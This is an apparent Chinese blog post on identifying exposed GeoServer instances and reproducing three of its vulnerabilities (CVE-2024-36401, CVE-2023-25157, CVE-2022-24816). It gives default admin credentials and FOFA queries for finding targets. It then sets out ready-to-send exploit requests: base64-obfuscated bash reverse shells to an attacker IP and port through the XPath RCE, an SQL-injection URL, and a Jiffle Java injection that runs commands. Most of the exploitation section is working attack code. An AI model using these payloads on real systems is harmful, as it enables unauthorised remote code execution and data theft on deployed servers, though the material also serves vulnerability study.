GeoServer地理服务器特征及漏洞复现

GeoServer 是 OpenGIS Web 服务器规范的 J2EE 实现,利用 GeoServer 可以方便的发布地图数据,允许用户对特征数据进行更新、删除、插入操作。

Web特征

默认管理页面显示如下:

image-20251121211417411

该产品存在标签页默认icon图标:

image-20251121211603286image-20251121211645295

存在账户验证:

image-20251121212604726

基本访问信息:

  • 默认 URL: http://<server>:8080/geoserver
  • 管理界面: http://<server>:8080/geoserver/web
  • 默认端口: 8080 (可修改)
  • 默认认证: 用户名: admin, 密码: geoserver

默认服务端点:

服务类型 URL 路径 功能描述
WMS /geoserver/wms 地图服务:返回地图图像
WFS /geoserver/wfs 要素服务:返回地理要素数据 GeoServer
WCS /geoserver/wcs 覆盖服务:返回栅格数据 (如遥感影像)
WMTS /geoserver/wmts 瓦片地图服务:返回地图瓦片
WPS /geoserver/wps 处理服务:执行空间数据处理操作

默认响应特征:

  • HTTP 响应头: 包含Server: GeoServer/<version>
  • 内容类型: 管理界面为 HTML; WMS/WFS 等服务为 XML 或 JSON
  • 默认首页标题: 包含 "GeoServer" 关键词

fofa语句:app="GeoServer"app="GeoServer" || (port="8080" && (path="/geoserver" || path="/geoserver/web"))header="Server: GeoServer" && path="/geoserver/web"

漏洞复现

CVE-2024-36401(属性名表达式前台RCE)

在GeoServer 2.25.1, 2.24.3, 2.23.5版本及以前,未登录的任意用户可以通过构造恶意OGC请求,在默认安装的服务器中执行XPath表达式,进而利用执行Apache Commons Jxpath提供的功能执行任意代码。

影响范围:

  • GeoServer < 2.23.6
  • 2.24.0 ≤ GeoServer < 2.24.4
  • 2.25.0 ≤ GeoServer < 2.25.2
  • GeoTools < 29.6
  • 30.0 ≤ GeoTools < 30.4
  • 31.0 ≤ GeoTools < 31.2

复现示例

此漏洞有两种方法进行复现。

法一:手工测试

此漏洞存在一个前提,目标的typeNames必须存在,可以在Web页面/geoserver/web/wicket/bookmarkable/org.geoserver.web.demo.MapPreviewPage?3&filter=false中找到当前服务器中的所有Types,如下图:

image-20251121214634451

使用GetPropertyValue来执行xpath表达式,构造了两个POC来执行命令。

基于GET方法的POC:

GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'bash%20-c%20{echo,YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjEyMC4xNDIvODg5OSAwPiYx}|{base64,-d}|{bash,-i}') HTTP/1.1
Host: 192.168.120.133:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0


PS:一定要注意,GET请求下方一定要空两行,不然是不行的,而且这里的payload是经过两层编码即先base64再URL。

基于POST方法的POC:

POST /geoserver/wfs HTTP/1.1
Host: target-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 379

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9Zb3VySVAvWW91clBPUlQgMD4mMQ==}|{base64,-d}|{bash,-i}')</wfs:valueReference>
</wfs:GetPropertyValue>

PS:payload其中的YmFzaCAtaSA+JiAvZGV2L3RjcC9Zb3VySVAvWW91clBPUlQgMD4mMQ==是经过base64编码的命令,避免一些字符破坏RCE执行。

出现java.lang.ClassCastException错误说明成功,反弹的shell也有了:

image-20251121224012982 image-20251121222348446

法二:自动化工具

CVE-2023-25157(OGC Filter SQL注入)

利用 GeoServer 可以方便的发布地图数据,允许用户对特征数据进行更新、删除、插入操作,在版本2.22.1和2.21.4及以前,多个OGC表达式中均存在SQL注入漏洞。

影响范围:

  • GeoServer < 2.18.7
  • 2.19.0 <= GeoServer < 2.19.7
  • 2.20.0 <= GeoServer < 2.20.7
  • 2.21.0 <= GeoServer < 2.21.4
  • 2.22.0 <= GeoServer < 2.22.2

复现示例

注:此漏洞利用需要确定目标服务器中是否存在类型是PostGIS的数据空间(datastore)和工作空间(workspace),所以先要去寻找一些参数:Workspace nameData store nameFeature type (table) nameOne of attribute from feature type

1、获取可用要素名称(typeName)

在GeoServer中,数据是以“层”为单位组织的,而 typeName 的格式通常是 Workspace name:Data store name,通过下面的接口获取:

/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities

在返回的XML内容中,搜索 <FeatureType> 标签,其下的子标签 <Name> 的值就是需要的 typeName

image-20251122002114387

2、每个可用要素的可用属性

由于需要知道要操作的具体是哪个数据表的哪个字段,所以在后面的Poc中使用了 strStartsWith 函数,因此目标字段需要是字符串类型,利用上一步得到的typeName发送一个 GetFeature 请求,并限制只返回1条记录,但这一步有两个方法以应对不同状况:

法一:通过查数据的方式查找

/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=<typeName>&maxFeatures=1&outputFormat=json

需要找到features/properties下面的key,如图:

image-20251122002802816

此方法有一个缺陷,就是如果数据为空,那么features/properties下就是空的,连字段名都不显示,比如:

image-20251122144900112

法二:通过表结构进行查找

这个方法直接查询表结构,直接返回的是表的结构:

/geoserver/ows?service=wfs&version=1.0.0&request=DescribeFeatureType&typeName=<typeName>

这里我们需要的就是返回值中的<xsd:element>标签中的name键的值:

image-20251122145541553

PS:前面也说了后面的poc中将使用 strStartsWith,所以我们需要找到type="xsd:string"字段。

下面这个就是上一步中typeName=tiger:tiger_roads的表结构,里面的name值正好就是features/properties下的key:

image-20251122145319958

3、sql注入

利用前面得到的参数,发送如下URL即可触发SQL注入漏洞查询数据库版本信息:

/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=<typeName>&CQL_FILTER=strStartsWith%28<propertiesKey>%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+integer%29%29+--+%27%29+%3D+true

这里使用的就是 vulhub:examplename 成功查询到数据库版本等信息:

image-20251122003036366

CVE-2022-24816/CVE-2023-35042(JAI-EXT 导致RCE)

GeoServer 使用的 JAI-EXT 提供的 Jiffle 地图代数语言,这让使用者可以高效地在大图像上执行地图查询。在 JAI-EXT 1.2.21 及更早版本中,允许攻击者通过精心构造的 Jiffle 调用来执行远程代码。

影响范围:JAI-EXT < 1.1.22

复现示例

漏洞存在于WMS接口中,攻击者可以通过向/geoserver/wms发送特制的请求来执行任意Java代码,请求中需要包含一个恶意的Jiffle表达式,这个表达式将被服务器执行。

构造发送如下请求来触发漏洞,这里执行的id命令:

POST /geoserver/wms HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 2191

<?xml version="1.0" encoding="UTF-8"?>
<wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc" xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink" xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
<ows:Identifier>ras:Jiffle</ows:Identifier>
<wps:DataInputs>
    <wps:Input>
    <ows:Identifier>coverage</ows:Identifier>
    <wps:Data>
        <wps:ComplexData mimeType="application/arcgrid"><![CDATA[ncols 720 nrows 360 xllcorner -180 yllcorner -90 cellsize 0.5 NODATA_value -9999  316]]></wps:ComplexData>
    </wps:Data>
    </wps:Input>
    <wps:Input>
    <ows:Identifier>script</ows:Identifier>
    <wps:Data>
        <wps:LiteralData>dest = y() - (500); // */ public class Double {    public static double NaN = 0;  static { try {  java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("id").getInputStream())); String line = null; String allLines = " - "; while ((line = reader.readLine()) != null) { allLines += line; } throw new RuntimeException(allLines);} catch (java.io.IOException e) {} }} /**</wps:LiteralData>
    </wps:Data>
    </wps:Input>
    <wps:Input>
    <ows:Identifier>outputType</ows:Identifier>
    <wps:Data>
        <wps:LiteralData>DOUBLE</wps:LiteralData>
    </wps:Data>
    </wps:Input>
</wps:DataInputs>
<wps:ResponseForm>
    <wps:RawDataOutput mimeType="image/tiff">
    <ows:Identifier>result</ows:Identifier>
    </wps:RawDataOutput>
</wps:ResponseForm>
</wps:Execute>

这样,数据包中的Jiffle表达式中的Java代码将被服务器执行,执行结果将返回在java.lang.ExceptionInInitializerError消息中:

image-20251122150711661
posted @ 2025-12-02 12:55  shinianyunyan  阅读(58)  评论(0)    收藏  举报